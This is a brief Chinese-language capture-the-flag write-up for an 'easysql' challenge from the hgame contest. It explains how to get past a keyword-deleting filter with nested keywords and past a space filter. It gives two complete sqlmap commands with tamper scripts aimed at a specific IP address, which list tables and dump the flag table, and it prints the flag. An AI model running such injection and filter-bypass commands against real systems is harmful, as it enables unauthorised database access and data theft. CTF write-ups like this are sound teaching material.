非常明显嘛,就是考SQL注入,先去information_schema里面获取一些基本信息。
经过反复横跳,发现它的过滤方式是这样的
也就是删除敏感字段,所以可以用套娃的方式绕过这个过滤,然后发现空格被过滤了。
这次玩玩SQLMAP吧
用的那两个脚本是针对它过滤规则的,space2randomblank.py把空格换成其它有效字符,nonrecursivereplacement.py则是那个套娃脚本。
sqlmap -u "http://139.199.182.61/index.php?id=1" -D easysql --tables --tamper space2randomblank.py nonrecursivereplacement.py
可以看出这位出题人非常兴奋哈
sqlmap -u "http://139.199.182.61/index.php?id=1" -D easysql -T f1aggggggggggggg --dump --tamper space2randomblank.py nonrecursivereplacement.py
hgame{w0w_sql_InjeCti0n_Is_S0_IntereSting!!}